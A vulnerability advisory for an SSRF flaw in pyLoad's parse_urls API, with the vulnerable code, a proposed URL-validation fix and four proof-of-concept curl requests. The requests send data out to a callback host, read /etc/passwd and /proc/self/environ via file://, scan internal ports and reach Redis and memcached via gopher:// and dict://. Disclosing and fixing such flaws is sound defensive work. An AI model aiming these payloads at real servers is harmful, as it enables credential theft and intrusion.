CVE-2026-35187: pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parseurls API function in src/pyload/core/api/init.py (line 556) fetches arbitrary URLs server-side via geturl(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - Read local files via file:// protocol (pycurl reads the file server-side) - Interact with internal services via gopher:// and dict:// protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/init.py (line 556):
python def parseurls(self, html=None, url=None): if url: page = geturl(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(REURLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
bash CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
bash curl -s -b "pyloadsession8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACKDOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parseurls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
bash Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parseurls Response: {}
Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parseurls Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parseurls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)
PoC 3: Internal port scanning
bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parseurls Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
bash curl ... -d "url=gopher://127.0.0.1:6379/INFO" http://localhost:8084/api/parseurls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parseurls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via file:// protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (Couldn't open file vs empty response) - Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing - Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
python from urllib.parse import urlparse import ipaddress import socket
def issafeurl(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(info[4][0]) if ip.isprivate or ip.isloopback or ip.islinklocal or ip.isreserved: return False except (socket.gaierror, ValueError): return False return True
def parseurls(self, html=None, url=None): if url: if not issafeurl(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = geturl(url) urls.update(REURLMATCH.findall(page))
Other sources
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parseurls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via geturl(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).
— MITRE